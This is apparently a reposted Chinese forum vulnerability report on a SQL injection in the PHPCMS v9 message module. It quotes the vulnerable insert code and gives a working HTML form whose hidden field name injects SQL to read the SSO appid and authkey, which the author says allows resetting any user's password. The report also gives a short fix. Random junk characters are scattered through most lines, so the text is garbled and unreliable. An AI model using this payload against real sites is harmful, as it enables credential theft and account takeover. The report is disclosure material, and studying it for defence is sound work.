|
|
简要描述:5 n3 m" u0 @# w+ V2 }, U
# a% D' ~. ?; h, i& H6 F
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
4 j" g- y. C4 b9 j8 g0 l( L; ^. U* O3 q
. [0 q1 J2 B& n$ F/ d# ~9 l/ p明天再更新下一个漏洞。
' t5 e$ m# t2 g1 ]8 T1 `3 O C$ @$ D详细说明:
9 w$ C9 z0 ^; a8 c在/phpcms9/phpcms/modules/message/index.php中有代码如下:
% A; |! S6 b3 T
1 p5 q* b: j( y Q$messageid = $this->message_db->insert($_POST['info'],true);
( Q6 ~$ T7 }0 |; x( {2 X! z' s* A1 ^5 V' x& x) Y
! Z4 ^/ X/ K7 Y' \" p& f# f; ^ ?2 A6 J
insert方法是key value的,代码如下:. L1 N) ~& q. Q' M9 g9 l- U
9 Q$ q* n4 f" K3 m: S( D0 T, t# `public function insert($data, $table, $return_insert_id = false, $replace = false) {" P9 [1 `4 v% O7 `3 }" ?! c
if(!is_array( $data ) || $table == '' || count($data) == 0) {: l2 E" C2 e1 Q+ n
return false;
i+ @8 T; |3 O/ y$ i5 g }
, S0 h( U3 x) K, M: J \/ k6 r 9 l- X: q+ U2 D* H l) F
$fielddata = array_keys($data);
, f, o5 s" b! N! R $valuedata = array_values($data);
0 r/ G7 u& r$ ]# \7 j: H5 } array_walk($fielddata, array($this, 'add_special_char'));4 ?& E5 R# [* o* `4 i N8 g
array_walk($valuedata, array($this, 'escape_string'));
! r( l* j- f9 Q- t+ H. b0 l
% G7 j/ R3 i: i. s' M. _7 \1 U $field = implode (',', $fielddata);7 N% f& U7 N, p7 f0 t+ m9 J
$value = implode (',', $valuedata);8 m3 ~$ H! ?0 z2 ?# H d
% R, r+ O' ^* Z$ L" ? $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';* \* l6 f4 B ^+ D3 c
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';+ Q0 K! j: I$ w2 O
$return = $this->execute($sql);
+ r, f/ _2 y* y! H3 A% w return $return_insert_id ? $this->insert_id() : $return;* x2 \# k+ ~& T# q( Y% u
}
* ]( |) J& T6 I
# F' l! |* @, d# |- U% g1 b. ]/ b/ u. M# [4 O* A! n7 W
嗯,很遗憾的是
/ @7 T4 X# c. @1 U, v) m/ V* b/ z* r* Q+ W! V
array_walk($fielddata, array($this, 'add_special_char'));
9 c8 a9 B r# {# ~' o
; z+ C9 w7 n1 t! e. Q' ]( R7 J
) F" V+ S: v. x% {1 k. @% o P9 ]6 J中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。6 q- D& r2 O" ^% K. b
1 z3 ~" Q6 U2 x7 z8 k. g2 H( _到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
2 e. Z, w7 b) e4 _1 R
3 T6 O; k% W6 K* x+ u& j$ y漏洞证明:
* n4 p" @3 y+ N5 ^5 R8 p+ ]读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。2 B3 u9 N7 s: Y
9 c: d7 y9 l' i, Y H* z" @" u- p5 \: O1 W- y# C0 p/ c: [: c
表单如下:用户名什么的得自己改一改。
1 d7 S- a* L, x<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">4 Q* r# U+ X+ w- |3 l
<table width="100%" cellspacing="0" class="table_form">: V! E1 _+ u& y8 F% H
<tr>8 @6 V4 d- O1 e. A4 V" v
<th>标 题:</th>
. T A: J. C* _. r. }: v E<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>) z5 ^; w2 T3 x2 N( J& \/ S
</tr>
1 o+ P5 E: o) g$ [<tr>* i& P+ z9 _9 A" M. \
<th>内 容:</th>3 }* [0 d/ \4 c" k' c1 O, n
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
" b2 |4 I N$ E9 c</tr>- |% P5 `" x( s4 x8 \
<input type="hidden" name="info[replyid]" value="2" />
1 F0 ?2 R2 @/ t' F8 w<input type="hidden" name="info[send_to_id]" value="cc" /> 9 w: _* m: r) T8 ? Y( u
<input type="hidden" name="info[send_from_id]" value="hh">
/ P' Q! c( @! G& h; ?<!-- 漏洞的利用重点在这里开始 -->
9 J& n- \ O: i+ e3 i4 e" ~# [<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
1 o% \- g( f. A% @5 A<!-- 漏洞的利用重点在这里结束 -->
% b" r! g" e4 s0 ]$ P1 V% _<tr>
( V2 G' T. p' T* u$ a<th>验证码:</th>
# i: c8 u# _% i" J g<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
, I ~' R# [4 D, h' D, X5 ?</tr>' e( g% O7 j, y% o* `
<tr>) s2 F2 S( ^$ T! [
<td></td>/ T. |; D% z2 ]6 c# R7 o; H; P
<td colspan="2"><label>
3 m3 N2 |' \) d5 z- N<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>- U4 A2 S# Z# E6 d
</label></td>
1 Z, o- t& I+ i) z& v</tr>
Y. ?% L$ @0 R, a+ z8 z, y7 X</table># y& o4 `" m- F& [/ X1 y, Z
</form>
% F/ s+ k8 i8 ^, v f% }$ b在add_special_char函数内对key做过滤就可以了。1 p' ^: z ^3 q: R; l5 A1 }7 R
- r; p7 D" ?. E' U% }( O( t
8 A. c) i. g- j% t: b4 H
5 S% y& Y! x9 L8 o |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|